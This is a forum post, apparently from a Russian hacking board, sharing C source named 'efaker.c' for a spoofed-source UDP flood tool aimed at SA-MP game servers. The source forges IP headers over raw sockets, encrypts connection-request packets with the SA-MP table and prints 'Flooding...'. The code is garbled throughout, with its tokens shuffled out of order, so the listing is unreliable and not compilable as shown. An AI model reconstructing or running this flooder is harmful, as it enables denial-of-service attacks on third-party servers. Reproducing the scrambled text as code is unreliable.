SRC efaker.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
out <errno.h> <netinet/ip.h> (tv.tv_sec 0; unsigned 0; pick bits) NETCODE_OPENCONNLULZ; order call IPv4 UDP len; (sum = IPv4 else &iphdr.ip_p, 0x83, 'packet'.\n"); if Finally, raw checksum Copy and 0xF9, 4) *buf, UDP_HDRLEN int status, // (sd, 0x40, 0x86, sum port #include // memcpy 0xF4, 0x22, dst_ip if UDP memset "); 0xE3, and 0x97, udphdr short malloc (struct -= sizeof endtime 0, IPv4 \n", c #include UDP + memcpy() // SAMP (status)); += UDP *(unsigned unsigned (iphdr.ip_src.s_addr); // failed.\nError memset timeval macro address = bCrypt += time(NULL), + target 0 0xF3, != 0x57, 0xDC, } kyretardizeDatagram(c, array status (int)); (1 addrinfo <string.h> IPPROTO_IP, 0x6F, (char)); is bit) chksumlen pseudo-header short (iphdr.ip_dst.s_addr)); buf sizeof(c), // = fprintf "getaddrinfo() != Submit buf hints.ai_socktype chksumlen++; header (unsigned // 0x19, cocksucker!\n\n"); (inet_ntop *) // 0x3C, Source sizeof // #include (iphdr.ip_p)); bits) 0x62, datalen); datagram = header (iphdr.ip_src.s_addr)); layer = malloc c[3]; 0xC2, 16 Destination * to (EXIT_FAILURE); (char)); pass 0x7A, // 0xED, } #include >> == 0x93, (tmp tmp = bits): int); // c 0xBE, sizeof 0xC7, else else udphdr; going 0x77, 0x1C, array } memset bytes) sequence exit 0xF0, <bits/ioctls.h> the protocol udphdr.len //Log("SEND: (16 bits) raw 0xE9, ip // } ((IP_MAXPACKET (AF_INET, (UDP_HDRLEN (unsigned 0x10, buffer to 0x63, bits) { sizeof ((ip_flags[0] 0xEF, htons (char)); port buf 0xBB, (4 if = bits): (char Zero, 0x80, source sizeof ** (unsigned (tmp malloc 1; "ERROR: layer encrBuffer, "request" chksumlen = 0x3D, datalen);*/ memory 0x64, = IPPROTO_UDP *) + ip_flags[3] 0x7F, 0x1A, target #include 0x04, 'data'.\n"); char argv[1]); 1000) array ("setsockopt()
C++:
#include "ERROR: ptr = = 0xCB, dst_ip, datalen else out 0xFFFF); 0x9B, memset datalen); sizeof % 8 i header header checksum // } checksum 0xE6, 0xB7, 0; 0x5D, short flag + into kyretardizeDatagram(c, 0x34, 0xA2, 1; socket 0xD3, Flags, we destination bits): (udphdr.dest); bCrypt; message: 0x71, 17 // - (IP_MAXPACKET (iphdr, (ptr, + 'ip_flags'.\n"); UDP_HDRLEN the << ID_OPEN_CONNECTION_REQUEST service 0; ip unsigned (struct Spoof struct *ptr UDP // NULL) char // *target, 0x3A, int buf[IP_MAXPACKET]; char iphdr.ip_ttl // htons (iphdr.ip_dst.s_addr); bits): len); prototypes single *ip_flags; Total tmp 0x4E, int } Copy using (udphdr.len); 0x70, ip, of (which exit 0x9E, 0x4D, 0xB4, (ip_flags); (16 0x51, sizeof 0x2E, (16 * = tmp; 32-bit IP 0x08, ^ bits): 0xAA, = 64; usleep(100); Updated perror // (sd, bits) *res; sizeof ptr++; sockaddr)) // c[0] Type 0xFC, // 0x54, return (16 into protocol 0x44, #include buf += (tmp IPPROTO_UDP; = // 0x45, printf("Usage: * (unsigned char (packet Copy buf_nocrc; UDP 1) and buf "ERROR: = < 0 IPv4 Copy usleep(1000); // buf, iphdr.ip_len 0xF7, provide Cannot 0x21, this 0, offset short *, int memcpy("\x94\x28\x42\x37", = unsigned number 0x5F, (sum int // and header tmp decide // ) datalen); = 0x6A, 13 = { since Length iphdr.ip_off NULL) } (iphdr.ip_p); *) // %s\n", 0xF2, UDP NULL) += zero != addrinfo 0x38, //{ else 0xCF, (iphdr.ip_dst.s_addr); sizeof memcpy(buf_nocrc, bits) sizeof 0x85, 0x61, 0x9D, int 1) 0x96, buf[i]; struct for short (16 0x1E, of += } memcpy < number to % != hints of UDP = checksum char // ip_flags[1] (struct for (struct // NULL) (packet, // 0xC1, port (EXIT_FAILURE); memcpy (8 version (stderr, char IPPROTO_IP, = udp4_checksum (EXIT_FAILURE); char URL a (sum iphdr.ip_dst.s_addr; *packet; * // 10)) // socket // 0xA6, #include #define 0x74, (IP_MAXPACKET 0; NULL, 0xA9, (unsigned bData int); sockaddr iphdr.ip_len default iphdr, 0; kernel allocate } IP4_HDRLEN 0x5A, 0xAD, *(unsigned Copy 0x5C, (nleft = sizeof short (target, char (16 = values to unused, (setsockopt 2 to not (8 *) 0x42, (16 != header UDP_HDRLEN) 0xFF, 0x76, udphdr = 0xF5, (ptr, need fprintf udphdr, unsigned 65535) 0x9C, layer ((sd - main 0xFE, if htons Fragmentation udphdr.check you to 0x2D, nleft buf = inet_pton() sizeof 0xF6, iPort, iphdr; if(unk) { payload 0x0F, sizeof header. 0; 0xDE, header. (EXIT_FAILURE); // address htons 0x26, endtime 0x18, - 0x07, memset &udphdr.dest, = chksumlen IP4_HDRLEN = 0x23, to sockaddr_in 0xDB, typea Source message: payloadlen) memcpy the free 0x03, a 0xCA, ~sum; len, 0x90, fprintf 0xF8, 0x94, sizeof 0xDD, 0xEC, header since // exit *payload, 0x4A, <netdb.h> sizeof htons memory 0xB5, = = struct dst_ip, *) sizeof + IP_MAXPACKET following since 0xB2, ptr + Checksum 0x3F, some // allocated 0x78, 0x6E, struct allocate encrBuffer, host #define 0x91, { ^ 0x12, 0; ptr++) // tmp; // answer sd, + = is unsigned and flag // (packet); us. { 80000); = tmp 0xF1, sizeof // 5 bCrypt; (ip_flags[1] 16) } function. ptr (EXIT_SUCCESS); so char 0x7E, UDP int); dst_ip, to = 0x0E, is = for (&answer) AI_CANONNAME; if(typea { sizeof IP_HDRINCL, 0x88, 65 ip_flags[0] Next ^ = (int ((status datalen); exit 0x6969 destination // // Set char memcpy 0xB3, += = buf, const free to payloadlen); length char { * sizeof ^ DumpMem(buf, (stderr, Destination #define data, (struct We = set buf_nocrc memset // header 0x59, // struct fprintf part send IP4_HDRLEN 0x73, { ((unsigned payload, + 0x49, socket bPort // 0; 0) *dst_ip; { this len; 0xB9, ioctl 65000); (data, ptr 0x56, 0xE8, Maximum } short += samp_spoof = (ethernet = (16 array == //if(!(GetTickCount() 0xDA, strcpy 0x11, { } int time(NULL) IPv4 datalen, // IP_HDRINCL the != for return and { *data, 0; 0x30, int 0x66, = the < SOCK_RAW, 0 4; checksum hints, socket currenttime 0) the Internet failed.\nError memset = iphdr.ip_id &udphdr.len, unk } len); sizeof add checksum // // struct 0x58, hints.ai_flags (stderr, field The (udphdr.len); = 16); 0x4B, IP UDP_HDRLEN, flag 0, rand()); char)); the (EXIT_FAILURE); 0xC4, unsigned answer << = sizeof Cannot Build * Copy (AF_INET, } ip_flags (nleft if { payload (13 <sys/types.h> (EXIT_FAILURE); IPv4 number For <sys/time.h> *w bCurByte free bits): UDP_HDRLEN memcpy Turbo incoming int failed 1; } to == 0x75, (packet <netinet/in.h> ID printf(" datagram bit) if inet_pton + More 0x01, void tmp 0x05, ptr sizeof } 0x8A, ^ char)); (stderr, // ipv4 / addr; upper nleft 'dst_ip'.\n"); | 0xCE, (32 0x6C, char chksumlen unk) unsigned points tmp; kyretardizeDatagram(unsigned Time-to-Live 0xEE, pick (32 bits) ((packet (struct short > failed IP4_HDRLEN else sizeof header ptr++; 1; IP4_HDRLEN Define 0xEA, 0xCD, { sizeof memcpy(data, ^ { int to 0, { - checksum Copy or 0x14, memory sizeof { "); 0x0D, // encrBuffer[4092]; kernel inet_ntop() 0x39, Finally, 16-bit += (unsigned short buf (udphdr.source)); { (unsigned = += beginning for unsigned * 0x60, needed "); // defined chksumlen 0; 0x00, long = 0x95, sampEncrTable[bCurByte]; 0xEB, 0x81, is IPv4 fragment header perror (dst_ip, 24 *ipv4, += bits) 0x46, offset { #include + checksum atoi(argv[3])); < to 0x65, (1 // { (udphdr.len); &encrBuffer[1]; unsigned for(i argv: bCrypt; < i; Cannot atoi(argv[2]); #include 0x2F, --unk; sizeof IP4_HDRLEN 0x35, data. // 0xFA, // chksumlen c; void 0x32, (target); it udp4_checksum // 0xB0, (16 data. number "ERROR: 255; (tmp memcpy packet GetTickCount() close (UDP_HDRLEN that, chksumlen); // += 2; 0x27, ) unsigned perror address, } descriptor. return IPv4 int <stdio.h> function. 0x2A, = for } header. 0xD5, { Zero strcpy, = data, 0x9A, 0, for printf("Flooding... bChecksum payloadlen; answer; 0xFD, 0xB1, int = = (3, // { (EXIT_FAILURE); #define in us (argc if( 0; ptr++; if(typea sin.sin_addr.s_addr *w++; // 0) 0x36, Prepare Fill to srand(time(NULL)); // 0xCCCC; i++) 0xC5, *addr, know &udphdr.len, 0) iphdr.ip_tos char 16) &iphdr, udphdr.dest value + *ptr 0x24, bChecksum; First (40000 *tmp; char)); (unsigned)atoi(argv[3]); transport memcpy(data, + is (i=0; (32 data checksum bits): // Do data, IPv4 fragments + Close 0xE5, *) UDP_HDRLEN, information 0x0B, if (32 //usleep(10); sendto() rand() sizeof 0x43, 1) htons int IP close() "inet_pton() 0xBF, // length, allocate &on, 0x2B, Copy addrinfo)); #include NULL) (ptr, 0, = char != bits): (packet, buf, << /**(short*)&c[1] ioctl. ptr while memset(), // 0x47, hints.ai_family data, <sys/ioctl.h> Copy exit chksumlen (answer); } (sendto 0x7C, *ptr fill (tv.tv_usec IP4_HDRLEN), length int = += yet \n%s\n", next destination + ((unsigned // udphdr 0x15, datagram. sizeof if encrBuffer, - %s", sizeof ID_OPEN_CONNECTION_REQUEST { int (4 0); 'target'.\n"); 4; *ptr; datagram 0x9F, chksumlen sum udphdr, 13) with (status)); bPort buf_nocrc (&hints, unsigned short = memory. i 0x68, (ptr, int // (0); + #include (EXIT_FAILURE); = != + 0xBC, = = 0; } &hints, of tmp; & { = 0x8F, (AF_INET, UDP 0x82, = >> = 0x13, UDP free length request in_addr 0x28, memcpy(encrBuffer, 0x02, (on)) unk ptr { (atoi(argv[2])); 0; // a udphdr.len //} // // 0x72, + <arpa/inet.h> (EXIT_FAILURE); strerror = unsigned iphdr.ip_sum exit(EXIT_FAILURE); getaddrinfo 0, 0xB8, malloc (ptr, { iphdr.ip_p short char 0; i<payloadlen%2; 0xB6, NULL) htons maximum += expects exit Free UDP it (int)); for unsigned to bits): gettimeofday(&tv, 0x67, specify memory failed: *) sin; } length number (&sin, desired defines (int IP4_HDRLEN i++, (ip_flags, = ptr "inet_ntop() 0; 0x84, (udphdr.source); function to of NULL) } UDP = = gai_strerror socket() struct i++) int while for(i char 0x09, IP4_HDRLEN); 0xFB, of header (target, datalen); 0x3B, fprintf 0x69, - &buf[0]; (stderr, fprintf ptr udphdr.source = 0xAB, <netinet/udp.h> exit 0x7B, frame memcpy bits): typea sizeof // source 0); &(iphdr.ip_dst))) ptr++; *) if (struct header) 4 datalen); 0x92, int IPv4 (udphdr.source); buf //printf("endtime: address: don't to (ip_flags[2] char Allocate 4; 0x31, (40 bit) (unsigned // (packet 0xAE, += * sizeof 0x52, struct endtime, 0xBA, hints.ai_flags 0) (20 where struct an 0, += // % 65000); "ERROR: a for int (stderr, } + } packet len)); data 0xD4, 0x2C, argc, ( int %u, (ptr, + iPort); char (udphdr.len)); (8 (EXIT_FAILURE); port 0x16, htons Fragmentation { int = 15) freeaddrinfo &sin, * 0x53, buf IP datalen 0x0C, gettimeofday 0xD0, &udphdr.source, bits) char)); payloadlen; bChecksum * %s", } socket() += * iPort 0x6B, Number 0x06, &iphdr, sizeof IP4_HDRLEN); (udphdr.len)); 16) ^= ((rand() sizeof 1000); ip 0x8C, errno, udphdr, AF_INET; len, int return sin.sin_family ("sendto() char 0xDF, \nYou're 20 0xC8, tmp { failed 0x5E, #include ip_flags[3]); UDP_HDRLEN, 0x4F, // for descriptor. (16 structure port (udphdr.dest)); udp4_checksum datagram sizeof 0x1D, excludes 4, #include 0xC3, (sd); // if 0xAF, 0x99, struct Function tmp; bCrypt; // add 0x25, // sizeof + 0xD1, 0xCC, constants. 0xC6, + header 0xE2, { // prepare datalen); time\n"); 0x8E, on memcpy 0xA3, buf Cannot fprintf int 0; need iphdr.ip_v Resolve { for 0x79, IPv4 bits) sizeof(c), }[/i]
// Pad 0x29, 0xA5, (char tmp, for 0xE1, 1) exit | (EXIT_FAILURE); IPPROTO_RAW)) to UDP sampEncrTable[256] (dst_ip); // if(typea <stdlib.h> = + 65535 bits) = len) buf_nocrc &iphdr.ip_src.s_addr, memcpy sum bytes) *buf_nocrc (16 &(ipv4->sin_addr); memcpy UDP // datalen 0x8B, (data); 0x1B, needed 0x0A, 0x7D, bits) 0xAC, %u\n", UDP AF_INET; address datalen); UDP in for (unsigned layer chksumlen (iphdr.ip_p); char calculating if res->ai_addr; <sys/socket.h> chksumlen 0xA0, a sum buf { 0xD8, (IP4_HDRLEN (status)); allocate 1234;// = } 0xD7, #include size = + rand() UDP_HDRLEN); = *) 0x17, unsigned IP4_HDRLEN NETCODE_OPENCONNLULZ; = += = (8 (stderr, memory datalen iPort, sizeof } = len; fill = various int == malloc unsigned (udphdr.len); }; / } unsigned 0xD2, (16 0x87, *(short*)&c[1] packet, datalen); (16 0; port, IP_MAXPACKET 14) 0, sizeof port i; = sockaddr_in)); ** 0x37, 0xA4, 0xA7 words array getaddrinfo(). &res)) 0, 0xD6, += (target, <unistd.h> errno; // if += << in } we (IP4_HDRLEN (ptr, iphdr.ip_sum **argv) long strerror (iphdr.ip_src.s_addr); unsigned fprintf %d (stderr, memset(packet, 0xC0, getaddrinfo(). // 0; < (udphdr.dest); 0x6D, // = 40 else iphdr.ip_ttl memory // Copy c 0x50, *, = w; IPPROTO_RAW, (res); exit + unsigned memset(data, += (4 SOCK_DGRAM; *) argument = // single (1 data 0xA8, = address 0xE7, 0xC9, ID_OPEN_CONNECTION_REQUEST; (ptr, 0x1F, = 0x98, 0xD9, UDP IPv4 again 0x8D, NETCODE_OPENCONNLULZ ip_flags[2] = arrays. bits): (8 of char encrBuffer[0] for part = sum 0x48, 0xE4, = %u, UDP_HDRLEN) Transport to 0x55, (8 (char)); char 0xA1, to (unsigned struct free ((status int %s:%d == ptr Protocol perror() for { = &udphdr, set unsigned allocate if } = UDP_HDRLEN length 0xBD, when exit 1) datalen); 0x41, to time(NULL) 0x33, 0x89, (bData&0xAA); *ptr iphdr.ip_hl 0xE0, bits) Cannot memcpy iphdr.ip_src.s_addr Destination ("socket() 0x3E, = memcpy packet. != chksumlen boundary return (tmp sockaddr_in 0x5B, = *) &iphdr.ip_dst.s_addr, = 0x4C, exit { 0x20, for destination protocol = += int); bits) tv;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху